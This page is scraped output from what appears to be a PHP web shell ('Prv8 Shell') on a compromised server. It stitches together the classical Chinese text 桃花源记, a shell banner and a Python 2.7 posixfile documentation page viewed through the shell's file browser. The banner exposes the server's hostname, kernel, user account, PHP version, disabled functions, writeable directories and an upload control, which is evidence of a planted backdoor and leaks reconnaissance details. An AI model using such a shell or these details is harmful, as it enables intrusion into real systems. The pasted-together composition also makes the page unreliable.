晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/python2-docs/html/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/python2-docs/html/library/posixfile.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>36.12. posixfile — File-like objects with locking support &#8212; Python 2.7.16 documentation</title>
    <link rel="stylesheet" href="../_static/classic.css" type="text/css" />
    <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
    <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
    <script type="text/javascript" src="../_static/jquery.js"></script>
    <script type="text/javascript" src="../_static/underscore.js"></script>
    <script type="text/javascript" src="../_static/doctools.js"></script>
    <script type="text/javascript" src="../_static/sidebar.js"></script>
    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Python 2.7.16 documentation"
          href="../_static/opensearch.xml"/>
    <link rel="author" title="About these documents" href="../about.html" />
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="copyright" title="Copyright" href="../copyright.html" />
    <link rel="next" title="36.13. resource — Resource usage information" href="resource.html" />
    <link rel="prev" title="36.11. pipes — Interface to shell pipelines" href="pipes.html" />
    <link rel="shortcut icon" type="image/png" href="../_static/py.png" />
    <link rel="canonical" href="https://docs.python.org/2/library/posixfile.html" />
    <script type="text/javascript" src="../_static/copybutton.js"></script>
    
 
    

  </head><body>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="resource.html" title="36.13. resource — Resource usage information"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="pipes.html" title="36.11. pipes — Interface to shell pipelines"
             accesskey="P">previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="unix.html" accesskey="U">36. Unix Specific Services</a> &#187;</li> 
      </ul>
    </div>    

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <div class="section" id="module-posixfile">
<span id="posixfile-file-like-objects-with-locking-support"></span><h1>36.12. <a class="reference internal" href="#module-posixfile" title="posixfile: A file-like object with support for locking. (deprecated) (Unix)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">posixfile</span></code></a> — File-like objects with locking support<a class="headerlink" href="#module-posixfile" title="Permalink to this headline">¶</a></h1>
<div class="deprecated" id="index-0">
<p><span class="versionmodified">Deprecated since version 1.5: </span>The locking operation that this module provides is done better and more portably
by the <a class="reference internal" href="fcntl.html#fcntl.lockf" title="fcntl.lockf"><code class="xref py py-func docutils literal notranslate"><span class="pre">fcntl.lockf()</span></code></a> call.</p>
</div>
<p id="index-1">This module implements some additional functionality over the built-in file
objects.  In particular, it implements file locking, control over the file
flags, and an easy interface to duplicate the file object. The module defines a
new file object, the posixfile object.  It has all the standard file object
methods and adds the methods described below.  This module only works for
certain flavors of Unix, since it uses <a class="reference internal" href="fcntl.html#fcntl.fcntl" title="fcntl.fcntl"><code class="xref py py-func docutils literal notranslate"><span class="pre">fcntl.fcntl()</span></code></a> for file locking.</p>
<p>To instantiate a posixfile object, use the <a class="reference internal" href="#posixfile.open" title="posixfile.open"><code class="xref py py-func docutils literal notranslate"><span class="pre">posixfile.open()</span></code></a> function.  The
resulting object looks and feels roughly the same as a standard file object.</p>
<p>The <a class="reference internal" href="#module-posixfile" title="posixfile: A file-like object with support for locking. (deprecated) (Unix)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">posixfile</span></code></a> module defines the following constants:</p>
<dl class="data">
<dt id="posixfile.SEEK_SET">
<code class="descclassname">posixfile.</code><code class="descname">SEEK_SET</code><a class="headerlink" href="#posixfile.SEEK_SET" title="Permalink to this definition">¶</a></dt>
<dd><p>Offset is calculated from the start of the file.</p>
</dd></dl>

<dl class="data">
<dt id="posixfile.SEEK_CUR">
<code class="descclassname">posixfile.</code><code class="descname">SEEK_CUR</code><a class="headerlink" href="#posixfile.SEEK_CUR" title="Permalink to this definition">¶</a></dt>
<dd><p>Offset is calculated from the current position in the file.</p>
</dd></dl>

<dl class="data">
<dt id="posixfile.SEEK_END">
<code class="descclassname">posixfile.</code><code class="descname">SEEK_END</code><a class="headerlink" href="#posixfile.SEEK_END" title="Permalink to this definition">¶</a></dt>
<dd><p>Offset is calculated from the end of the file.</p>
</dd></dl>

<p>The <a class="reference internal" href="#module-posixfile" title="posixfile: A file-like object with support for locking. (deprecated) (Unix)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">posixfile</span></code></a> module defines the following functions:</p>
<dl class="function">
<dt id="posixfile.open">
<code class="descclassname">posixfile.</code><code class="descname">open</code><span class="sig-paren">(</span><em>filename</em><span class="optional">[</span>, <em>mode</em><span class="optional">[</span>, <em>bufsize</em><span class="optional">]</span><span class="optional">]</span><span class="sig-paren">)</span><a class="headerlink" href="#posixfile.open" title="Permalink to this definition">¶</a></dt>
<dd><p>Create a new posixfile object with the given filename and mode.  The <em>filename</em>,
<em>mode</em> and <em>bufsize</em> arguments are interpreted the same way as by the built-in
<a class="reference internal" href="functions.html#open" title="open"><code class="xref py py-func docutils literal notranslate"><span class="pre">open()</span></code></a> function.</p>
</dd></dl>

<dl class="function">
<dt id="posixfile.fileopen">
<code class="descclassname">posixfile.</code><code class="descname">fileopen</code><span class="sig-paren">(</span><em>fileobject</em><span class="sig-paren">)</span><a class="headerlink" href="#posixfile.fileopen" title="Permalink to this definition">¶</a></dt>
<dd><p>Create a new posixfile object with the given standard file object. The resulting
object has the same filename and mode as the original file object.</p>
</dd></dl>

<p>The posixfile object defines the following additional methods:</p>
<dl class="method">
<dt id="posixfile.posixfile.lock">
<code class="descclassname">posixfile.</code><code class="descname">lock</code><span class="sig-paren">(</span><em>fmt</em><span class="optional">[</span>, <em>len</em><span class="optional">[</span>, <em>start</em><span class="optional">[</span>, <em>whence</em><span class="optional">]</span><span class="optional">]</span><span class="optional">]</span><span class="sig-paren">)</span><a class="headerlink" href="#posixfile.posixfile.lock" title="Permalink to this definition">¶</a></dt>
<dd><p>Lock the specified section of the file that the file object is referring to.
The format is explained below in a table.  The <em>len</em> argument specifies the
length of the section that should be locked. The default is <code class="docutils literal notranslate"><span class="pre">0</span></code>. <em>start</em>
specifies the starting offset of the section, where the default is <code class="docutils literal notranslate"><span class="pre">0</span></code>.  The
<em>whence</em> argument specifies where the offset is relative to. It accepts one of
the constants <a class="reference internal" href="#posixfile.SEEK_SET" title="posixfile.SEEK_SET"><code class="xref py py-const docutils literal notranslate"><span class="pre">SEEK_SET</span></code></a>, <a class="reference internal" href="#posixfile.SEEK_CUR" title="posixfile.SEEK_CUR"><code class="xref py py-const docutils literal notranslate"><span class="pre">SEEK_CUR</span></code></a> or <a class="reference internal" href="#posixfile.SEEK_END" title="posixfile.SEEK_END"><code class="xref py py-const docutils literal notranslate"><span class="pre">SEEK_END</span></code></a>.  The
default is <a class="reference internal" href="#posixfile.SEEK_SET" title="posixfile.SEEK_SET"><code class="xref py py-const docutils literal notranslate"><span class="pre">SEEK_SET</span></code></a>.  For more information about the arguments refer to
the <em class="manpage">fcntl(2)</em> manual page on your system.</p>
</dd></dl>

<dl class="method">
<dt id="posixfile.posixfile.flags">
<code class="descclassname">posixfile.</code><code class="descname">flags</code><span class="sig-paren">(</span><span class="optional">[</span><em>flags</em><span class="optional">]</span><span class="sig-paren">)</span><a class="headerlink" href="#posixfile.posixfile.flags" title="Permalink to this definition">¶</a></dt>
<dd><p>Set the specified flags for the file that the file object is referring to.  The
new flags are ORed with the old flags, unless specified otherwise.  The format
is explained below in a table.  Without the <em>flags</em> argument a string indicating
the current flags is returned (this is the same as the <code class="docutils literal notranslate"><span class="pre">?</span></code> modifier).  For
more information about the flags refer to the <em class="manpage">fcntl(2)</em> manual page on
your system.</p>
</dd></dl>

<dl class="method">
<dt id="posixfile.posixfile.dup">
<code class="descclassname">posixfile.</code><code class="descname">dup</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#posixfile.posixfile.dup" title="Permalink to this definition">¶</a></dt>
<dd><p>Duplicate the file object and the underlying file pointer and file descriptor.
The resulting object behaves as if it were newly opened.</p>
</dd></dl>

<dl class="method">
<dt id="posixfile.posixfile.dup2">
<code class="descclassname">posixfile.</code><code class="descname">dup2</code><span class="sig-paren">(</span><em>fd</em><span class="sig-paren">)</span><a class="headerlink" href="#posixfile.posixfile.dup2" title="Permalink to this definition">¶</a></dt>
<dd><p>Duplicate the file object and the underlying file pointer and file descriptor.
The new object will have the given file descriptor. Otherwise the resulting
object behaves as if it were newly opened.</p>
</dd></dl>

<dl class="method">
<dt id="posixfile.posixfile.file">
<code class="descclassname">posixfile.</code><code class="descname">file</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#posixfile.posixfile.file" title="Permalink to this definition">¶</a></dt>
<dd><p>Return the standard file object that the posixfile object is based on.  This is
sometimes necessary for functions that insist on a standard file object.</p>
</dd></dl>

<p>All methods raise <a class="reference internal" href="exceptions.html#exceptions.IOError" title="exceptions.IOError"><code class="xref py py-exc docutils literal notranslate"><span class="pre">IOError</span></code></a> when the request fails.</p>
<p>Format characters for the <code class="xref py py-meth docutils literal notranslate"><span class="pre">lock()</span></code> method have the following meaning:</p>
<table border="1" class="docutils">
<colgroup>
<col width="15%" />
<col width="85%" />
</colgroup>
<thead valign="bottom">
<tr class="row-odd"><th class="head">Format</th>
<th class="head">Meaning</th>
</tr>
</thead>
<tbody valign="top">
<tr class="row-even"><td><code class="docutils literal notranslate"><span class="pre">u</span></code></td>
<td>unlock the specified region</td>
</tr>
<tr class="row-odd"><td><code class="docutils literal notranslate"><span class="pre">r</span></code></td>
<td>request a read lock for the specified section</td>
</tr>
<tr class="row-even"><td><code class="docutils literal notranslate"><span class="pre">w</span></code></td>
<td>request a write lock for the specified
section</td>
</tr>
</tbody>
</table>
<p>In addition the following modifiers can be added to the format:</p>
<table border="1" class="docutils">
<colgroup>
<col width="20%" />
<col width="65%" />
<col width="14%" />
</colgroup>
<thead valign="bottom">
<tr class="row-odd"><th class="head">Modifier</th>
<th class="head">Meaning</th>
<th class="head">Notes</th>
</tr>
</thead>
<tbody valign="top">
<tr class="row-even"><td><code class="docutils literal notranslate"><span class="pre">|</span></code></td>
<td>wait until the lock has been
granted</td>
<td>&#160;</td>
</tr>
<tr class="row-odd"><td><code class="docutils literal notranslate"><span class="pre">?</span></code></td>
<td>return the first lock
conflicting with the requested
lock, or <code class="docutils literal notranslate"><span class="pre">None</span></code> if there is
no conflict.</td>
<td>(1)</td>
</tr>
</tbody>
</table>
<p>Note:</p>
<ol class="arabic simple">
<li>The lock returned is in the format <code class="docutils literal notranslate"><span class="pre">(mode,</span> <span class="pre">len,</span> <span class="pre">start,</span> <span class="pre">whence,</span> <span class="pre">pid)</span></code> where
<em>mode</em> is a character representing the type of lock (‘r’ or ‘w’).  This modifier
prevents a request from being granted; it is for query purposes only.</li>
</ol>
<p>Format characters for the <code class="xref py py-meth docutils literal notranslate"><span class="pre">flags()</span></code> method have the following meanings:</p>
<table border="1" class="docutils">
<colgroup>
<col width="15%" />
<col width="85%" />
</colgroup>
<thead valign="bottom">
<tr class="row-odd"><th class="head">Format</th>
<th class="head">Meaning</th>
</tr>
</thead>
<tbody valign="top">
<tr class="row-even"><td><code class="docutils literal notranslate"><span class="pre">a</span></code></td>
<td>append only flag</td>
</tr>
<tr class="row-odd"><td><code class="docutils literal notranslate"><span class="pre">c</span></code></td>
<td>close on exec flag</td>
</tr>
<tr class="row-even"><td><code class="docutils literal notranslate"><span class="pre">n</span></code></td>
<td>no delay flag (also called non-blocking flag)</td>
</tr>
<tr class="row-odd"><td><code class="docutils literal notranslate"><span class="pre">s</span></code></td>
<td>synchronization flag</td>
</tr>
</tbody>
</table>
<p>In addition the following modifiers can be added to the format:</p>
<table border="1" class="docutils">
<colgroup>
<col width="20%" />
<col width="66%" />
<col width="14%" />
</colgroup>
<thead valign="bottom">
<tr class="row-odd"><th class="head">Modifier</th>
<th class="head">Meaning</th>
<th class="head">Notes</th>
</tr>
</thead>
<tbody valign="top">
<tr class="row-even"><td><code class="docutils literal notranslate"><span class="pre">!</span></code></td>
<td>turn the specified flags ‘off’,
instead of the default ‘on’</td>
<td>(1)</td>
</tr>
<tr class="row-odd"><td><code class="docutils literal notranslate"><span class="pre">=</span></code></td>
<td>replace the flags, instead of
the default ‘OR’ operation</td>
<td>(1)</td>
</tr>
<tr class="row-even"><td><code class="docutils literal notranslate"><span class="pre">?</span></code></td>
<td>return a string in which the
characters represent the flags
that are set.</td>
<td>(2)</td>
</tr>
</tbody>
</table>
<p>Notes:</p>
<ol class="arabic simple">
<li>The <code class="docutils literal notranslate"><span class="pre">!</span></code> and <code class="docutils literal notranslate"><span class="pre">=</span></code> modifiers are mutually exclusive.</li>
<li>This string represents the flags after they may have been altered by the same
call.</li>
</ol>
<p>Examples:</p>
<div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">posixfile</span>

<span class="n">file</span> <span class="o">=</span> <span class="n">posixfile</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s1">&#39;testfile&#39;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">)</span>
<span class="n">file</span><span class="o">.</span><span class="n">lock</span><span class="p">(</span><span class="s1">&#39;w|&#39;</span><span class="p">)</span>
<span class="o">...</span>
<span class="n">file</span><span class="o">.</span><span class="n">lock</span><span class="p">(</span><span class="s1">&#39;u&#39;</span><span class="p">)</span>
<span class="n">file</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</pre></div>
</div>
</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  <h4>Previous topic</h4>
  <p class="topless"><a href="pipes.html"
                        title="previous chapter">36.11. <code class="docutils literal notranslate"><span class="pre">pipes</span></code> — Interface to shell pipelines</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="resource.html"
                        title="next chapter">36.13. <code class="docutils literal notranslate"><span class="pre">resource</span></code> — Resource usage information</a></p>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/library/posixfile.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
<div id="searchbox" style="display: none" role="search">
  <h3>Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    </div>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="resource.html" title="36.13. resource — Resource usage information"
             >next</a> |</li>
        <li class="right" >
          <a href="pipes.html" title="36.11. pipes — Interface to shell pipelines"
             >previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="unix.html" >36. Unix Specific Services</a> &#187;</li> 
      </ul>
    </div>  
    <div class="footer">
    &copy; <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation.
    <br />
    The Python Software Foundation is a non-profit corporation.
    <a href="https://www.python.org/psf/donations/">Please donate.</a>
    <br />
    Last updated on Mar 27, 2019.
    <a href="../bugs.html">Found a bug</a>?
    <br />
    Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.7.6.
    </div>

  </body>
</html>

haha - 2025